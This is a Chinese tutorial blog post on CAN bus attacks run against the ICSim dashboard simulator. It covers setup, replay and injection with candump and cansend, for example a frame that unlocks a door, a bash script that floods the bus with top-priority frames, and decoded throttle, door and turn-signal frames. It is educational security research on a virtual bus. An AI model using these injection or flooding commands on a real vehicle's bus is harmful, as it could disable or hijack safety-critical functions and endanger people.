当前位置: 首页 > article >正文

CAN总线协议攻防实战:从漏洞分析到攻击模拟

CAN总线协议安全威胁分析

By GKDf1sh

0x01 CAN总线协议

1.1 CAN概述

1.1.1 CAN的特点

CAN(Controller Area Network,控制器局域网)是一种高效、可靠的通信协议,广泛应用于汽车电子系统中。其主要特点包括:

  • 多主架构:所有节点均可主动发送数据,无主从限制。
  • 高可靠性:支持差分信号传输,抗干扰能力强,适用于恶劣环境。
  • 实时性:采用优先级机制,确保高优先级消息优先传输。
  • 轻量化设计:仅需两根信号线(CAN_H 和 CAN_L),布线简单。
  • 错误检测与恢复:内置CRC校验和错误处理机制,保证数据完整性。

1.1.2 数据帧格式

CAN协议定义了多种帧类型,其中最常用的是数据帧,用于传输实际数据。

例如:188#01000000

以下是标准数据帧的结构:

字段名称长度(位)描述
起始位(SOF)1标识帧的开始,显性电平(逻辑0)。
标识符(ID)11/29消息的优先级标识符,标准帧为11位,扩展帧为29位。
控制字段(Control)6包含数据长度码(DLC),指示数据字段的字节数(0-8字节)。
数据字段(Data)0-64实际传输的数据,最多8字节。
CRC字段15循环冗余校验码,用于检测传输错误。
ACK字段2接收节点通过ACK位确认接收到正确数据。
结束位(EOF)7标识帧的结束,隐性电平(逻辑1)。

注意:扩展帧在标识符后增加了一个18位的扩展ID字段,用于更精细的消息分类。


1.2 为什么汽车常用CAN?

现代汽车包含大量电子控制单元(ECU),如发动机控制单元、制动系统、转向系统等。这些ECU需要实时交换数据以实现协同工作。CAN协议具有以下优势,使其成为汽车通信的首选:

  • 实时性强:CAN协议采用基于优先级的仲裁机制,确保关键数据(如刹车信号)优先传输。
  • 高可靠性:差分信号传输和错误检测机制使得CAN能够在电磁干扰严重的环境中稳定运行。
  • 灵活性高:支持多主架构,各节点可独立发送数据,无需中央控制器协调。
  • 低成本硬件:CAN控制器和收发器价格低廉,易于集成到各种ECU中。
  • 简化布线:仅需两根信号线即可连接多个节点,显著减少了车内布线复杂度和重量。

1.3 安全威胁

1.3.1 缺乏身份认证

  • 问题:CAN协议未提供节点身份验证机制,任何接入CAN总线的设备均可发送或接收数据。
  • 风险:攻击者可以通过伪造消息干扰车辆正常运行。例如,发送虚假的刹车信号可能导致车辆紧急制动。

1.3.2 无加密保护

  • 问题:CAN协议未对传输数据进行加密,所有消息均以明文形式传输。
  • 风险:攻击者可通过嗅探工具捕获并分析CAN总线上的数据,获取敏感信息(如车速、油门开度等)。

1.3.3 缺乏访问控制

  • 问题:CAN协议未限制节点的访问权限,任何节点均可监听或发送消息。
  • 风险:恶意节点可能通过广播消息干扰其他节点的正常工作,甚至导致系统崩溃。

1.3.4 物理层易受攻击

  • 问题:CAN总线采用两根信号线进行差分传输,物理接口暴露在外。
  • 风险:攻击者可通过物理接入(如OBD-II接口)直接注入恶意消息或窃听数据。

1.4 典型攻击方式

  • 重放攻击:攻击者捕获合法的CAN消息并重复发送,可能导致车辆执行非预期的操作(如反复刹车或加速)。
  • 注入攻击:攻击者向CAN总线注入伪造消息,干扰车辆正常功能。
  • 拒绝服务攻击:通过持续发送高优先级消息占用总线带宽,导致其他消息无法传输。

0x02 模拟环境搭建

这部分参考https://www.ctfiot.com/99634.html

  • • ICSim(仪表盘模拟器)
  • • Socketcand(CAN网络)
  • • Kayak(一款基于SocketCAN的CAN总线分析工具)

2.1 安装ICSim

# 安装依赖
sudo apt install libsdl2-dev libsdl2-image-dev can-utils maven autoconf -y
# 下载ICSim
git clone https://github.com/zombieCraig/ICSim.git
# 编译安装
cd ICSim/
sudo make

2.2 安装socketcand

# 下载socketcand
git clone https://github.com/linux-can/socketcand.git
cd socketcand

# 获取缺少的文件
wget https://raw.githubusercontent.com/dschanoeh/socketcand/master/config.h.in

# 编译安装
autoconf
./configure
make clean
make
sudo make install

2.3 安装Kayak

# 下载
git clone https://github.com/dschanoeh/Kayak.git
# 安装jdk
sudo apt-get install openjdk-8-jdk
# 安装
cd Kayak
mvn clean package

2.4 设置虚拟CAN总线接口

# 设置vcan(虚拟CAN)接口
sudo modprobe can
sudo modprobe vcan
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0

2.5 启动模拟器

# 打开仪表盘模拟器
./icsim vcan0
# 打开仪表盘控制器
./controls vcan0

仪表盘控制器,操作说明

功能控制按钮
转向键盘左右
速度键盘上下
开/关左前车门右shift/左shit+A
开/关右前车门右shift/左shit+B
开/关左后车门右shift/左shit+X
开/关右后车门右shift/左shit+Y
开启全部车门左shift+右shift
关闭全部车门右shift+左shift

在这里插入图片描述

0x03 重放攻击

3.1 抓取数据包

# 使用candump抓包
$ candump vcan0 -l

在这里插入图片描述

3.2 寻找关键的数据帧

3.2.1 二分查找

不断地将流量包分成两部分,直到最后只剩下一条数据帧。

$ canplayer -I turn1.log
$ python3 split.py turn1.log
$ canplayer -I turn11.log
......

split.py如下:

import argparse

def split_log_file(input_file):
    with open(input_file, 'r') as f:
        lines = f.readlines()
    num_lines = len(lines)

    base_name = input_file.rsplit('.', 1)[0]  # 去掉扩展名
    output_file1 = f"{base_name}1.log"
    output_file2 = f"{base_name}2.log"

    # 二分
    midpoint = num_lines // 2
    with open(output_file1, 'w') as f1, open(output_file2, 'w') as f2:
        for i, line in enumerate(lines):
            if i < midpoint:
                f1.write(line)
            else:
                f2.write(line)

    print(f"Split into {output_file1} and {output_file2}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("input_file")
    args = parser.parse_args()


    split_log_file(args.input_file)

3.2.2 对比仲裁ID差异

通过对比仲裁ID差异来确定具体数据帧,进而缩小范围,再逐个尝试

首先,保存正常无操作的流量包

$ candump vcan0 -f normal_log

接下来,记录门解锁操作时的流量包

$ candump vcan0 -f door_unlock_log

为确定在车门解锁时发送的特定 CAN数据帧,我们从正常流量包和解锁车门时的流量包中寻找ID的差异

$ cat normal_log | awk '{print $3}' | cut -d'#' -f1 | sort | uniq > normal_ids.txt

$ cat door_unlock_log | awk '{print $3}' | cut -d'#' -f1 | sort | uniq > unlock_ids.txt

$ diff normal_ids.txt unlock_ids.txt

输出结果如下:

16a17
> 19B

从这个结果来看,ID: 19B 仅在车门解锁时出现

此外,确认解锁消息的具体内容。执行以下命令以提取与 ID: 19B 相关的消息

$ cat door_unlock_log | awk '{print $3}' | grep 19B# | uniq

输出结果如下:

19B#00000E000000

解析后的消息使用 cansend 重新发送,就实现了重放攻击

$ cansend vcan0 19B#00000E000000

3.2.3 cansniffer进行过滤

使用cansniffer进行监听

$ cansniffer -c vcan0

这里的数据也分为了 time ID data 三部分,跟上面是一样的含义
其中变化的数据会以红色显示

在这里插入图片描述

3.2.4 SavvyCAN Sniff

利用SavvyCAN的Sniff功能进行查找

在这里插入图片描述

3.2.5 SavvyCAN FUZZ

在这里插入图片描述

0x04 DOS攻击

仲裁ID的数字越低,在网络上的优先级就越高

所以我们可以写一个bash脚本来实现快速重复执行下面的指令,简单高效

cansend vcan0 000#0000000000000000

#!/bin/bash

# 参数说明:
# $1: CAN接口名称(如vcan0)
# $2: CAN消息(如000#0000000000000000)
# $3: 发送间隔时间(单位:秒,默认0.1秒)
# $4: 总发送次数(可选,若未指定则无限循环)

INTERFACE=$1
MESSAGE=$2
INTERVAL=${3:-0.1}  # 默认间隔0.1秒
COUNT=$4

if [[ -z "$INTERFACE" || -z "$MESSAGE" ]]; then
    echo "用法: $0 <接口名> <CAN消息> [间隔时间] [发送次数]"
    exit 1
fi

if [[ -n "$COUNT" ]]; then
    # 如果指定了发送次数,则有限次发送
    for ((i=1; i<=COUNT; i++)); do
        cansend $INTERFACE $MESSAGE
        sleep $INTERVAL
    done
else
    # 如果未指定发送次数,则无限循环发送
    while true; do
        cansend $INTERFACE $MESSAGE
        sleep $INTERVAL
    done
fi

0x05 数据帧总结

以下总结逆向得到的数据帧控制逻辑

5.1 油门控制

5.1.1. 指令格式

  • 仲裁ID244(通常对应动力系统控制,如电机或发动机扭矩请求)。

  • 数据格式

    244#000000XX00
    

    ,其中

    XX
    

    是关键控制字节。

    • 示例:
      • 加速指令:244#0000003800
      • 减速指令:244#000000B000

5.1.2. 控制逻辑

XX 字节的结构如下:

  • 最高位(第 8 位) :
    • 0:表示加速。
    • 1:表示减速。
  • 低 7 位(第 1-7 位) :
    • 表示加减速的力度,范围为 0x000x7F(十进制 0 到 127)。
    • 数值越大,力度越强。

5.1.3. 示例分析

以下是具体指令的分解和解释:

加速指令
  • 244#0000003800

    • XX = 38
      

      → 二进制:

      00111000
      
      • 最高位:0(加速)。
      • 低 7 位:0111000(十进制 56)。
    • 含义:以中等力度加速。

  • 244#0000007F00

    • XX = 7F
      

      → 二进制:

      01111111
      
      • 最高位:0(加速)。
      • 低 7 位:1111111(十进制 127)。
    • 含义:以最高速度加速。

减速指令
  • 244#000000B000

    • XX = B0
      

      → 二进制:

      10110000
      
      • 最高位:1(减速)。
      • 低 7 位:0110000(十进制 48)。
    • 含义:以中等力度减速。

  • 244#000000FF00

    • XX = FF
      

      → 二进制:

      11111111
      
      • 最高位:1(减速)。
      • 低 7 位:1111111(十进制 127)。
    • 含义:以最强力度减速。

5.2 车门控制

5.2.1. 指令格式

  • CAN消息格式为 19B#XXXXXXXXXXXX
    • 19B 是 CAN 总线的消息 ID。
    • XXXXXXXXXXXX 是数据部分,其中第 3 和第 4 个字节(从左数)表示车门控制的状态。
  • 示例:
    • 19B#00000E000000 表示开启左前侧车门。
    • 19B#00000F000000 表示关闭所有车门。

5.2.2. 车门控制状态解析

车门控制状态由一个 4 位二进制值表示,对应 16 种可能的开关组合。每一位代表一个车门的状态:

  • 1 :关门。
  • 0 :开门。
二进制十六进制车门状态说明
00000所有车门打开
00011左前侧车门关闭,其他车门打开
00102右前侧车门关闭,其他车门打开
00113左前和右前车门关闭,其他车门打开
01004左后侧车门关闭,其他车门打开
01015左前和左后车门关闭,其他车门打开
01106右前和左后车门关闭,其他车门打开
01117左前、右前和左后车门关闭,右后车门打开
10008右后侧车门关闭,其他车门打开
10019左前和右后车门关闭,其他车门打开
1010A右前和右后车门关闭,其他车门打开
1011B左前、右前和右后车门关闭,左后车门打开
1100C左后和右后车门关闭,其他车门打开
1101D左前、左后和右后车门关闭,右前车门打开
1110E右前、左后和右后车门关闭,左前车门打开
1111F所有车门关闭

5.2.3. 车门与二进制位的映射

每个二进制位对应一个特定的车门:

  • 第 1 位(最低位) :左前侧车门。
  • 第 2 位 :右前侧车门。
  • 第 3 位 :左后侧车门。
  • 第 4 位(最高位) :右后侧车门。

5.3 转向控制

5.3.1. 指令格式

  • CAN消息格式为

    188#XXXXXXXX
    
    • 188 是 CAN 总线的消息 ID。XXXXXXXX 是数据部分,其中第 1 个字节(从左数)表示转向灯的状态。
    • 示例:
      • 188#01000000 表示左转。
      • 188#02000000 表示右转。

5.3.2. 转向控制状态解析

转向灯控制状态由一个 4 位二进制值表示,对应 16 种可能的开关组合。每一位代表一个特定的转向灯状态:

  • 1 :灯亮。
  • 0 :灯灭。
二进制十六进制状态说明
00000所有灯关闭
00011左转灯亮
00102右转灯亮
00113双闪灯亮
01004(保留/未定义)
01015左转灯亮 + 其他模式
01106右转灯亮 + 其他模式
01117双闪灯亮+ 其他模式
10008(保留/未定义)
10019左转灯亮 + 其他模式
1010A右转灯亮 + 其他模式
1011B双闪灯亮+ 其他模式
1100C(保留/未定义)
1101D左转灯亮 + 其他模式
1110E右转灯亮 + 其他模式
1111F双闪灯亮+ 其他模式

5.3.3. 转向与二进制位的映射

每个二进制位对应一个特定的转向灯:

  • 第 1 位(最低位) :左转灯。
  • 第 2 位 :右转灯。
  • 第 3 位 :双闪灯(当第 1 和第 2 位同时为 1 时)。
  • 第 4 位(最高位) :保留或未定义。

0x06 模拟器和实车的区别

此模拟器具有简单的机制,可以从控制面板以外的第三方进行解锁。然而,在实际车辆中,已经采取了以下措施以加强安全性。

6.1 物理访问的困难性

实际车辆中的CAN总线通常被嵌入到复杂的电气系统中,并且可能需要特殊的工具或权限才能访问。这增加了攻击者直接接入总线的难度。


6.2 网络隔离

通过网关,外部网络与内部网络被分离,直接从外部访问内部CAN总线受到限制。现代车辆通常采用多层网络架构,例如将娱乐系统(外部网络)与动力系统(内部网络)分离。这种隔离通过网关实现,确保关键系统不会轻易暴露于外部威胁。


6.3 消息认证技术(SecOC)

通过在消息中附加验证码,采用了防止篡改或非法重发的技术。SecOC(Secure Onboard Communication)是一种车载通信安全标准,通过对每条消息添加加密签名或验证码,确保消息的真实性和完整性。这种方法可以有效防止消息被篡改或恶意重放。

参考链接

https://www.secure-iv.co.jp/blog/18995

https://www.freebuf.com/articles/network/281831.html

https://www.ctfiot.com/99634.html


http://www.kler.cn/a/581271.html

相关文章:

  • windows一个进程的内存被其他进程踩坏原因
  • Spring Boot 接口延迟响应的实现与应用场景
  • 悖论的背后:从蚂蚁到宇宙的故事-续集
  • 14.onlineoj项目总结(C++)
  • 博客系统测试报告
  • Chrome 浏览器性能优化全景解析
  • simpleGRPO实现分享)
  • vue2中,在table单元格上右键,对行、列的增删操作(模拟wps里的表格交互)
  • 简要分析NETLINK_KOBJECT_UEVENT参数
  • 【eNSP实战】配置交换机端口安全
  • Linux服务器使用docker离线安装MySQL
  • frameworks 之屏幕旋转
  • 蓝桥杯备考:排队顺序(链表)
  • 中级网络工程师面试题参考示例(3)
  • 17、UDP怎么实现可靠传输【中高频】
  • spring-boot-starter和spring-boot-starter-web的关联
  • 【实战ES】实战 Elasticsearch:快速上手与深度实践-7.2.1Kubernetes Operator部署StatefulSet
  • KNN算法原理及python代码实现
  • 量子之歌2025财年Q2财报:净利润1.3亿元,多元化探索高成长赛道
  • 一键换肤的Qt-Advanced-Stylesheets